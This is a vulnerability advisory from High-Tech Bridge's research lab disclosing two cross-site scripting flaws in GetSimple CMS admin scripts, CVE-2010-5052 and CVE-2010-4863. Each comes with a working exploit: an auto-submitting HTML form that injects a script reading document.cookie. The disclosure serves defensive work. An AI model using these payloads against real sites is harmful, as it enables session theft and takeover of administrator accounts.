Multiple Cross-site Scripting Vulnerabilities in GetSimple CMS

High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in GetSimple CMS which could be exploited to perform cross-site scripting attacks.

1. Cross-site scripting vulnerability in GetSimple CMS: CVE-2010-5052
   The vulnerability exists due to input sanitation error in the “val[]” parameter in /admin/components.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
   Exploitation example:
   <form action=“http://host/admin/components.php” method=“post” name=“main” accept-charset=“utf-8” >
   <input type=“hidden” name=“submitted” value=“Save Components” />
   <input name=“val[]” type=“hidden” value=‘Some text here…"><script>alert(document.cookie)</script>’ />
   <input type=“hidden” name=“slug[]” value=“sidebar” />
   <input type=“hidden” name=“title[]” value=“Sidebar” />
   <input type=“hidden” name=“id[]” value=“0” />
   <input type=“hidden” name=“val[]” value=“Just Another GetSimple Website” />
   <input type=“hidden” name=“slug[]” value=“tagline” />
   <input type=“hidden” name=“title[]” value=“Tagline” />
   <input type=“hidden” name=“id[]” value=“1” />
   </form>
   <script>
   document.main.submit();
   </script>

2. Cross-site scripting vulnerability in GetSimple CMS: CVE-2010-4863
   The vulnerability exists due to input sanitation error in the “post-title” parameter in /admin/changedata.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
   Exploitation example:
   <form action=“http://host/admin/changedata.php” method=“post” name=“main” >
   <input type=“hidden” name=“post-title” value=‘page title"><script>alert(document.cookie)</script>’ />
   <input type=“hidden” name=“post-id” value=“test” />
   <input type=“hidden” name=“post-metak” value=“” />
   <input type=“hidden” name=“post-metad” value=“” />
   <input type=“hidden” name=“post-parent” value=“” />
   <input type=“hidden” name=“post-template” value=“template.php” />
   <input type=“hidden” name=“post-menu” value=“test” />
   <input type=“hidden” name=“post-menu-order” value=“” />
   <input type=“hidden” name=“post-content” value=“page html” />
   <input type=“hidden” name=“existing-url” value=“test” />
   <input type=“hidden” name=“submitted” value=“Save Updates” />
   </form>
   <script>
   document.main.submit();
   </script>